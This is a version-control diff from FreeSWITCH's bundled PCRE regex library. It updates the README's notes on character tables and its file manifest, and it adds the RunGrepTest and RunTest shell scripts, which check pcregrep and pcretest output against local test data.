+pcre_chartables.c.dist out of the way and replace it with your customized
+tables.
 
+When the dftables program is run as a result of --enable-rebuild-chartables,
+it uses the default C locale that is set on your system. It does not pay
+attention to the LC_xxx environment variables. In other words, it uses the
+system's default locale rather than whatever the compiling user happens to have
+set. If you really do want to build a source set of character tables in a
+locale that is specified by the LC_xxx variables, you can run the dftables
+program by hand with the -L option. For example:
+
+  ./dftables -L pcre_chartables.c.special
+
 The first two 256-byte tables provide lower casing and case flipping functions,
 respectively. The next table consists of three 32-byte bit maps which identify
 digits, "word" characters, and white space, respectively. These are used when
-building 32-byte bit maps that represent character classes.
+building 32-byte bit maps that represent character classes for code points less
+than 256.
 
 The final 256-byte table has bits indicating various character types, as
 follows:
@@ -422,107 +624,144 @@
 will cause PCRE to malfunction.
 
 
-Manifest
---------
+File manifest
+-------------
 
 The distribution should contain the following files:
 
-(A) The actual source files of the PCRE library functions and their
-    headers:
+(A) Source files of the PCRE library functions and their headers:
 
-  dftables.c            auxiliary program for building chartables.c
+  dftables.c              auxiliary program for building pcre_chartables.c
+                            when --enable-rebuild-chartables is specified
 
-  pcreposix.c           )
-  pcre_compile.c        )
-  pcre_config.c         )
-  pcre_dfa_exec.c       )
-  pcre_exec.c           )
-  pcre_fullinfo.c       )
-  pcre_get.c            ) sources for the functions in the library,
-  pcre_globals.c        )   and some internal functions that they use
-  pcre_info.c           )
-  pcre_maketables.c     )
-  pcre_ord2utf8.c       )
-  pcre_refcount.c       )
-  pcre_study.c          )
-  pcre_tables.c         )
-  pcre_try_flipped.c    )
-  pcre_ucp_searchfuncs.c)
-  pcre_valid_utf8.c     )
-  pcre_version.c        )
-  pcre_xclass.c         )
-  ucptable.c            )
+  pcre_chartables.c.dist  a default set of character tables that assume ASCII
+                            coding; used, unless --enable-rebuild-chartables is
+                            specified, by copying to pcre_chartables.c
 
-  pcre_printint.src     ) debugging function that is #included in pcretest, and
-                        )   can also be #included in pcre_compile()
+  pcreposix.c             )
+  pcre_compile.c          )
+  pcre_config.c           )
+  pcre_dfa_exec.c         )
+  pcre_exec.c             )
+  pcre_fullinfo.c         )
+  pcre_get.c              ) sources for the functions in the library,
+  pcre_globals.c          )   and some internal functions that they use
+  pcre_info.c             )
+  pcre_maketables.c       )
+  pcre_newline.c          )
+  pcre_ord2utf8.c         )
+  pcre_refcount.c         )
+  pcre_study.c            )
+  pcre_tables.c           )
+  pcre_try_flipped.c      )
+  pcre_ucd.c              )
+  pcre_valid_utf8.c       )
+  pcre_version.c          )
+  pcre_xclass.c           )
+  pcre_printint.src       ) debugging function that is #included in pcretest,
+                          )   and can also be #included in pcre_compile()
+  pcre.h.in               template for pcre.h when built by "configure"
+  pcreposix.h             header for the external POSIX wrapper API
+  pcre_internal.h         header for internal use
+  ucp.h                   header for Unicode property handling
 
-  pcre.h                the public PCRE header file
-  pcreposix.h           header for the external POSIX wrapper API
-  pcre_internal.h       header for internal use
-  ucp.h                 ) headers concerned with
-  ucpinternal.h         )   Unicode property handling
-  config.in             template for config.h, which is built by configure
+  config.h.in             template for config.h, which is built by "configure"
 
-  pcrecpp.h             the header file for the C++ wrapper
-  pcrecpparg.h.in       "source" for another C++ header file
-  pcrecpp.cc            )
-  pcre_scanner.cc       ) source for the C++ wrapper library
+  pcrecpp.h               public header file for the C++ wrapper
+  pcrecpparg.h.in         template for another C++ header file
+  pcre_scanner.h          public header file for C++ scanner functions
+  pcrecpp.cc              )
+  pcre_scanner.cc         ) source for the C++ wrapper library
 
-  pcre_stringpiece.h.in "source" for pcre_stringpiece.h, the header for the
-                          C++ stringpiece functions
-  pcre_stringpiece.cc   source for the C++ stringpiece functions
+  pcre_stringpiece.h.in   template for pcre_stringpiece.h, the header for the
+                            C++ stringpiece functions
+  pcre_stringpiece.cc     source for the C++ stringpiece functions
 
-(B) Auxiliary files:
+(B) Source files for programs that use PCRE:
 
-  AUTHORS               information about the author of PCRE
-  ChangeLog             log of changes to the code
-  INSTALL               generic installation instructions
-  LICENCE               conditions for the use of PCRE
-  COPYING               the same, using GNU's standard name
-  Makefile.in           template for Unix Makefile, which is built by configure
-  NEWS                  important changes in this release
-  NON-UNIX-USE          notes on building PCRE on non-Unix systems
-  README                this file
-  RunTest.in            template for a Unix shell script for running tests
-  RunGrepTest.in        template for a Unix shell script for pcregrep tests
-  config.guess          ) files used by libtool,
-  config.sub            )   used only when building a shared library
-  config.h.in           "source" for the config.h header file
-  configure             a configuring shell script (built by autoconf)
-  configure.ac          the autoconf input used to build configure
-  doc/Tech.Notes        notes on the encoding
-  doc/*.3               man page sources for the PCRE functions
-  doc/*.1               man page sources for pcregrep and pcretest
-  doc/html/*            HTML documentation
-  doc/pcre.txt          plain text version of the man pages
-  doc/pcretest.txt      plain text documentation of test program
-  doc/perltest.txt      plain text documentation of Perl test program
-  install-sh            a shell script for installing files
-  libpcre.pc.in         "source" for libpcre.pc for pkg-config
-  ltmain.sh             file used to build a libtool script
-  mkinstalldirs         script for making install directories
-  pcretest.c            comprehensive test program
-  pcredemo.c            simple demonstration of coding calls to PCRE
-  perltest              Perl test program
-  pcregrep.c            source of a grep utility that uses PCRE
-  pcre-config.in        source of script which retains PCRE information
-  pcrecpp_unittest.c           )
-  pcre_scanner_unittest.c      ) test programs for the C++ wrapper
-  pcre_stringpiece_unittest.c  )
-  testdata/testinput*   test data for main library tests
-  testdata/testoutput*  expected test results
-  testdata/grep*        input and output for pcregrep tests
+  pcredemo.c              simple demonstration of coding calls to PCRE
+  pcregrep.c              source of a grep utility that uses PCRE
+  pcretest.c              comprehensive test program
 
-(C) Auxiliary files for Win32 DLL
+(C) Auxiliary files:
 
-  libpcre.def
-  libpcreposix.def
+  132html                 script to turn "man" pages into HTML
+  AUTHORS                 information about the author of PCRE
+  ChangeLog               log of changes to the code
+  CleanTxt                script to clean nroff output for txt man pages
+  Detrail                 script to remove trailing spaces
+  HACKING                 some notes about the internals of PCRE
+  INSTALL                 generic installation instructions
+  LICENCE                 conditions for the use of PCRE
+  COPYING                 the same, using GNU's standard name
+  Makefile.in             ) template for Unix Makefile, which is built by
+                          )   "configure"
+  Makefile.am             ) the automake input that was used to create
+                          )   Makefile.in
+  NEWS                    important changes in this release
+  NON-UNIX-USE            notes on building PCRE on non-Unix systems
+  PrepareRelease          script to make preparations for "make dist"
+  README                  this file
+  RunTest                 a Unix shell script for running tests
+  RunGrepTest             a Unix shell script for pcregrep tests
+  aclocal.m4              m4 macros (generated by "aclocal")
+  config.guess            ) files used by libtool,
+  config.sub              )   used only when building a shared library
+  configure               a configuring shell script (built by autoconf)
+  configure.ac            ) the autoconf input that was used to build
+                          )   "configure" and config.h
+  depcomp                 ) script to find program dependencies, generated by
+                          )   automake
+  doc/*.3                 man page sources for the PCRE functions
+  doc/*.1                 man page sources for pcregrep and pcretest
+  doc/index.html.src      the base HTML page
+  doc/html/*              HTML documentation
+  doc/pcre.txt            plain text version of the man pages
+  doc/pcretest.txt        plain text documentation of test program
+  doc/perltest.txt        plain text documentation of Perl test program
+  install-sh              a shell script for installing files
+  libpcre.pc.in           template for libpcre.pc for pkg-config
+  libpcrecpp.pc.in        template for libpcrecpp.pc for pkg-config
+  ltmain.sh               file used to build a libtool script
+  missing                 ) common stub for a few missing GNU programs while
+                          )   installing, generated by automake
+  mkinstalldirs           script for making install directories
+  perltest.pl             Perl test program
+  pcre-config.in          source of script which retains PCRE information
+  pcrecpp_unittest.cc          )
+  pcre_scanner_unittest.cc     ) test programs for the C++ wrapper
+  pcre_stringpiece_unittest.cc )
+  testdata/testinput*     test data for main library tests
+  testdata/testoutput*    expected test results
+  testdata/grep*          input and output for pcregrep tests
 
-(D) Auxiliary file for VPASCAL
+(D) Auxiliary files for cmake support
 
+  cmake/COPYING-CMAKE-SCRIPTS
+  cmake/FindPackageHandleStandardArgs.cmake
+  cmake/FindReadline.cmake
+  CMakeLists.txt
+  config-cmake.h.in
+
+(E) Auxiliary files for VPASCAL
+
   makevp.bat
+  makevp_c.txt
+  makevp_l.txt
+  pcregexp.pas
 
+(F) Auxiliary files for building PCRE "by hand"
+
+  pcre.h.generic          ) a version of the public PCRE header file
+                          )   for use in non-"configure" environments
+  config.h.generic        ) a version of config.h for use in non-"configure"
+                          )   environments
+
+(F) Miscellaneous
+
+  RunTest.bat            a script for running tests under Windows
+
 Philip Hazel
 Email local part: ph10
 Email domain: cam.ac.uk
-June 2006
+Last updated: 21 March 2009

Copied: freeswitch/branches/seven/libs/pcre/RunGrepTest (from rev 14471, freeswitch/trunk/libs/pcre/RunGrepTest) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/RunGrepTest	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/RunGrepTest	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,280 @@
+#! /bin/sh
+
+# Run pcregrep tests. The assumption is that the PCRE tests check the library
+# itself. What we are checking here is the file handling and options that are
+# supported by pcregrep.
+
+# Set the C locale, so that sort(1) behaves predictably.
+LC_ALL=C
+export LC_ALL
+
+pcregrep=`pwd`/pcregrep
+
+echo " "
+echo "Testing pcregrep"
+$pcregrep -V
+
+cf="diff -ub"
+valgrind=
+
+while [ $# -gt 0 ] ; do
+  case $1 in
+    valgrind) valgrind="valgrind -q --leak-check=no";;
+    *) echo "Unknown argument $1"; exit 1;;
+  esac
+  shift
+done
+
+# If PCRE has been built in a directory other than the source directory, and
+# this test is being run from "make check" as usual, then $(srcdir) will be
+# set. If not, set it to the current directory. We then arrange to run the
+# pcregrep command in the source directory so that the file names that appear
+# in the output are always the same.
+
+if [ -z "$srcdir" -o ! -d "$srcdir/testdata" ] ; then
+  srcdir=.
+fi
+
+# Check for the availability of UTF-8 support
+
+./pcretest -C | ./pcregrep "No UTF-8 support" >/dev/null
+utf8=$?
+
+echo "---------------------------- Test 1 ------------------------------" >testtry
+(cd $srcdir; $valgrind $pcregrep PATTERN ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 2 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep '^PATTERN' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 3 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -in PATTERN ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 4 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -ic PATTERN ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 5 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -in PATTERN ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 6 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -inh PATTERN ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 7 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -il PATTERN ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 8 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -l PATTERN ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 9 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -q PATTERN ./testdata/grepinput ./testdata/grepinputx) >>testtry
+echo "RC=$?" >>testtry
+
+echo "---------------------------- Test 10 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -q NEVER-PATTERN ./testdata/grepinput ./testdata/grepinputx) >>testtry
+echo "RC=$?" >>testtry
+
+echo "---------------------------- Test 11 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -vn pattern ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 12 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -ix pattern ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 13 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -f./testdata/greplist ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 14 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -w pat ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 15 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep 'abc^*' ./testdata/grepinput) 2>>testtry >>testtry
+
+echo "---------------------------- Test 16 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep abc ./testdata/grepinput ./testdata/nonexistfile) 2>>testtry >>testtry
+
+echo "---------------------------- Test 17 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -M 'the\noutput' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 18 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -Mn '(the\noutput|dog\.\n--)' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 19 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -Mix 'Pattern' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 20 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -Mixn 'complete pair\nof lines' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 21 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -nA3 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 22 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -nB3 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 23 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -C3 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 24 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -A9 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 25 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -nB9 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 26 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -A9 -B9 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 27 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -A10 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 28 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -nB10 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 29 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -C12 -B10 'four' ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 30 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -inB3 'pattern' ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 31 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -inA3 'pattern' ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 32 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -L 'fox' ./testdata/grepinput ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 33 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep 'fox' ./testdata/grepnonexist) >>testtry 2>&1
+echo "RC=$?" >>testtry
+
+echo "---------------------------- Test 34 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -s 'fox' ./testdata/grepnonexist) >>testtry 2>&1
+echo "RC=$?" >>testtry
+
+echo "---------------------------- Test 35 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -L -r --include=grepinputx --exclude_dir='^\.' 'fox' ./testdata) >>testtry
+echo "RC=$?" >>testtry
+
+echo "---------------------------- Test 36 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -L -r --include=grepinput --exclude 'grepinput$' --exclude_dir='^\.' 'fox' ./testdata | sort) >>testtry
+echo "RC=$?" >>testtry
+
+echo "---------------------------- Test 37 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep  '^(a+)*\d' ./testdata/grepinput) >>testtry 2>teststderr
+echo "RC=$?" >>testtry
+echo "======== STDERR ========" >>testtry
+cat teststderr >>testtry
+
+echo "---------------------------- Test 38 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep '>\x00<' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 39 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -A1 'before the binary zero' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 40 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -B1 'after the binary zero' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 41 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -B1 -o '\w+ the binary zero' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 41 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -B1 -onH '\w+ the binary zero' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 42 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -on 'before|zero|after' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 43 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -on -e before -e zero -e after ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 44 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -on -f ./testdata/greplist -e binary ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 45 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -e abc -e '(unclosed' ./testdata/grepinput) 2>>testtry >>testtry
+
+echo "---------------------------- Test 46 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -Fx "AB.VE
+elephant" ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 47 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -F "AB.VE
+elephant" ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 48 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -F -e DATA -e "AB.VE
+elephant" ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 49 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep "^(abc|def|ghi|jkl)" ./testdata/grepinputx) >>testtry
+
+echo "---------------------------- Test 50 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -Mv "brown\sfox" ./testdata/grepinputv) >>testtry
+
+echo "---------------------------- Test 51 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep --colour=always jumps ./testdata/grepinputv) >>testtry
+
+echo "---------------------------- Test 52 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep --file-offsets 'before|zero|after' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 53 ------------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep --line-offsets 'before|zero|after' ./testdata/grepinput) >>testtry
+
+echo "---------------------------- Test 54 -----------------------------" >>testtry
+(cd $srcdir; $valgrind $pcregrep -f./testdata/greplist --color=always ./testdata/grepinputx) >>testtry
+
+# Now compare the results.
+
+$cf $srcdir/testdata/grepoutput testtry
+if [ $? != 0 ] ; then exit 1; fi
+
+
+# These tests require UTF-8 support
+
+if [ $utf8 -ne 0 ] ; then
+  echo "Testing pcregrep UTF-8 features"
+
+  echo "---------------------------- Test U1 ------------------------------" >testtry
+  (cd $srcdir; $valgrind $pcregrep -n -u --newline=any "^X" ./testdata/grepinput8) >>testtry
+
+  echo "---------------------------- Test U2 ------------------------------" >>testtry
+  (cd $srcdir; $valgrind $pcregrep -n -u -C 3 --newline=any "Match" ./testdata/grepinput8) >>testtry
+
+  $cf $srcdir/testdata/grepoutput8 testtry
+  if [ $? != 0 ] ; then exit 1; fi
+
+else
+  echo "Skipping pcregrep UTF-8 tests: no UTF-8 support in PCRE library"
+fi
+
+
+# We go to some contortions to try to ensure that the tests for the various
+# newline settings will work in environments where the normal newline sequence
+# is not \n. Do not use exported files, whose line endings might be changed.
+# Instead, create an input file using printf so that its contents are exactly
+# what we want. Note the messy fudge to get printf to write a string that
+# starts with a hyphen.
+
+echo "Testing pcregrep newline settings"
+printf "abc\rdef\r\nghi\njkl" >testNinput
+
+printf "%c--------------------------- Test N1 ------------------------------\r\n" - >testtry
+$valgrind $pcregrep -n -N CR "^(abc|def|ghi|jkl)" testNinput >>testtry
+
+printf "%c--------------------------- Test N2 ------------------------------\r\n" - >>testtry
+$valgrind $pcregrep -n --newline=crlf "^(abc|def|ghi|jkl)" testNinput >>testtry
+
+printf "%c--------------------------- Test N3 ------------------------------\r\n" - >>testtry
+pattern=`printf 'def\rjkl'`
+$valgrind $pcregrep -n --newline=cr -F "$pattern" testNinput >>testtry
+
+printf "%c--------------------------- Test N4 ------------------------------\r\n" - >>testtry
+pattern=`printf 'xxx\r\njkl'`
+$valgrind $pcregrep -n --newline=crlf -F "$pattern" testNinput >>testtry
+
+printf "%c--------------------------- Test N5 ------------------------------\r\n" - >>testtry
+$valgrind $pcregrep -n --newline=any "^(abc|def|ghi|jkl)" testNinput >>testtry
+
+printf "%c--------------------------- Test N6 ------------------------------\r\n" - >>testtry
+$valgrind $pcregrep -n --newline=anycrlf "^(abc|def|ghi|jkl)" testNinput >>testtry
+
+$cf $srcdir/testdata/grepoutputN testtry
+if [ $? != 0 ] ; then exit 1; fi
+
+exit 0
+
+# End

Copied: freeswitch/branches/seven/libs/pcre/RunTest (from rev 14471, freeswitch/trunk/libs/pcre/RunTest) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/RunTest	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/RunTest	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,292 @@
+#! /bin/sh
+
+# Run PCRE tests.
+
+valgrind=
+
+# Set up a suitable "diff" command for comparison. Some systems
+# have a diff that lacks a -u option. Try to deal with this.
+
+if diff -u /dev/null /dev/null; then cf="diff -u"; else cf="diff"; fi
+
+# Find the test data
+
+testdata=testdata
+if [ -n "$srcdir" -a -d "$srcdir" ] ; then
+  testdata="$srcdir/testdata"
+fi
+
+# Find which optional facilities are available
+
+case `./pcretest -C | ./pcregrep 'Internal link size'` in
+  *2) link_size=2;;
+  *3) link_size=3;;
+  *4) link_size=4;;
+   *) echo "Failed to find internal link size"; exit 1;;
+esac
+
+./pcretest -C | ./pcregrep 'No UTF-8 support' >/dev/null
+utf8=$?
+
+./pcretest -C | ./pcregrep 'No Unicode properties support' >/dev/null
+ucp=$?
+
+# Select which tests to run; for those that are explicitly requested, check
+# that the necessary optional facilities are available.
+
+do1=no
+do2=no
+do3=no
+do4=no
+do5=no
+do6=no
+do7=no
+do8=no
+do9=no
+do10=no
+
+while [ $# -gt 0 ] ; do
+  case $1 in
+    1) do1=yes;;
+    2) do2=yes;;
+    3) do3=yes;;
+    4) do4=yes;;
+    5) do5=yes;;
+    6) do6=yes;;
+    7) do7=yes;;
+    8) do8=yes;;
+    9) do9=yes;;
+   10) do10=yes;;
+   valgrind) valgrind="valgrind -q";;
+    *) echo "Unknown test number $1"; exit 1;;
+  esac
+  shift
+done
+
+if [ $utf8 -eq 0 ] ; then
+  if [ $do4 = yes ] ; then
+    echo "Can't run test 4 because UTF-8 support is not configured"
+    exit 1
+  fi
+  if [ $do5 = yes ] ; then
+    echo "Can't run test 5 because UTF-8 support is not configured"
+    exit 1
+  fi
+  if [ $do8 = yes ] ; then
+    echo "Can't run test 8 because UTF-8 support is not configured"
+    exit 1
+  fi
+fi
+
+if [ $ucp -eq 0 ] ; then
+  if [ $do6 = yes ] ; then
+    echo "Can't run test 6 because Unicode property support is not configured"
+    exit 1
+  fi
+  if [ $do9 = yes ] ; then
+    echo "Can't run test 9 because Unicode property support is not configured"
+    exit 1
+  fi
+  if [ $do10 = yes ] ; then
+    echo "Can't run test 10 because Unicode property support is not configured"
+    exit 1
+  fi
+fi
+
+if [ $link_size -ne 2 ] ; then
+  if [ $do10 = yes ] ; then
+    echo "Can't run test 10 because the link size ($link_size) is not 2"
+    exit 1
+  fi
+fi
+
+# If no specific tests were requested, select all that are relevant.
+
+if [ $do1 = no -a $do2 = no -a $do3 = no -a $do4 = no -a \
+     $do5 = no -a $do6 = no -a $do7 = no -a $do8 = no -a \
+     $do9 = no -a $do10 = no ] ; then
+  do1=yes
+  do2=yes
+  do3=yes
+  if [ $utf8 -ne 0 ] ; then do4=yes; fi
+  if [ $utf8 -ne 0 ] ; then do5=yes; fi
+  if [ $utf8 -ne 0 -a $ucp -ne 0 ] ; then do6=yes; fi
+  do7=yes
+  if [ $utf8 -ne 0 ] ; then do8=yes; fi
+  if [ $utf8 -ne 0 -a $ucp -ne 0 ] ; then do9=yes; fi
+  if [ $link_size -eq 2 -a $ucp -ne 0 ] ; then do10=yes; fi
+fi
+
+# Show which release
+
+echo ""
+echo PCRE C library tests
+./pcretest /dev/null
+
+# Primary test, Perl-compatible
+
+if [ $do1 = yes ] ; then
+  echo "Test 1: main functionality (Perl compatible)"
+  $valgrind ./pcretest -q $testdata/testinput1 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput1 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+# PCRE tests that are not Perl-compatible - API & error tests, mostly
+
+if [ $do2 = yes ] ; then
+  echo "Test 2: API and error handling (not Perl compatible)"
+  $valgrind ./pcretest -q $testdata/testinput2 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput2 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else
+    echo " "
+    echo "** Test 2 requires a lot of stack. If it has crashed with a"
+    echo "** segmentation fault, it may be that you do not have enough"
+    echo "** stack available by default. Please see the 'pcrestack' man"
+    echo "** page for a discussion of PCRE's stack usage."
+    echo " "
+    exit 1
+  fi
+  echo "OK"
+fi
+
+# Locale-specific tests, provided that either the "fr_FR" or the "french"
+# locale is available. The former is the Unix-like standard; the latter is
+# for Windows.
+
+if [ $do3 = yes ] ; then
+  locale -a | grep '^fr_FR$' >/dev/null
+  if [ $? -eq 0 ] ; then
+    locale=fr_FR
+    infile=$testdata/testinput3
+    outfile=$testdata/testoutput3
+  else
+    locale -a | grep '^french$' >/dev/null
+    if [ $? -eq 0 ] ; then
+      locale=french
+      sed 's/fr_FR/french/' $testdata/testinput3 >test3input
+      sed 's/fr_FR/french/' $testdata/testoutput3 >test3output
+      infile=test3input
+      outfile=test3output
+    else
+      locale=
+    fi
+  fi
+
+  if [ "$locale" != "" ] ; then
+    echo "Test 3: locale-specific features (using '$locale' locale)"
+    $valgrind ./pcretest -q $infile testtry
+    if [ $? = 0 ] ; then
+      $cf $outfile testtry
+      if [ $? != 0 ] ; then
+        echo " "
+        echo "Locale test did not run entirely successfully."
+        echo "This usually means that there is a problem with the locale"
+        echo "settings rather than a bug in PCRE."
+      else
+      echo "OK"
+      fi
+    else exit 1
+    fi
+  else
+    echo "Cannot test locale-specific features - neither the 'fr_FR' nor the"
+    echo "'french' locale exists, or the \"locale\" command is not available"
+    echo "to check for them."
+    echo " "
+  fi
+fi
+
+# Additional tests for UTF8 support
+
+if [ $do4 = yes ] ; then
+  echo "Test 4: UTF-8 support (Perl compatible)"
+  $valgrind ./pcretest -q $testdata/testinput4 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput4 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+if [ $do5 = yes ] ; then
+  echo "Test 5: API and internals for UTF-8 support (not Perl compatible)"
+  $valgrind ./pcretest -q $testdata/testinput5 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput5 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+if [ $do6 = yes ] ; then
+  echo "Test 6: Unicode property support"
+  $valgrind ./pcretest -q $testdata/testinput6 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput6 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+# Tests for DFA matching support
+
+if [ $do7 = yes ] ; then
+  echo "Test 7: DFA matching"
+  $valgrind ./pcretest -q -dfa $testdata/testinput7 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput7 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+if [ $do8 = yes ] ; then
+  echo "Test 8: DFA matching with UTF-8"
+  $valgrind ./pcretest -q -dfa $testdata/testinput8 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput8 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+if [ $do9 = yes ] ; then
+  echo "Test 9: DFA matching with Unicode properties"
+  $valgrind ./pcretest -q -dfa $testdata/testinput9 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput9 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+# Test of internal offsets and code sizes. This test is run only when there
+# is Unicode property support and the link size is 2. The actual tests are
+# mostly the same as in some of the above, but in this test we inspect some
+# offsets and sizes that require a known link size. This is a doublecheck for
+# the maintainer, just in case something changes unexpectely.
+
+if [ $do10 = yes ] ; then
+  echo "Test 10: Internal offsets and code size tests"
+  $valgrind ./pcretest -q $testdata/testinput10 testtry
+  if [ $? = 0 ] ; then
+    $cf $testdata/testoutput10 testtry
+    if [ $? != 0 ] ; then exit 1; fi
+  else exit 1
+  fi
+  echo "OK"
+fi
+
+# End

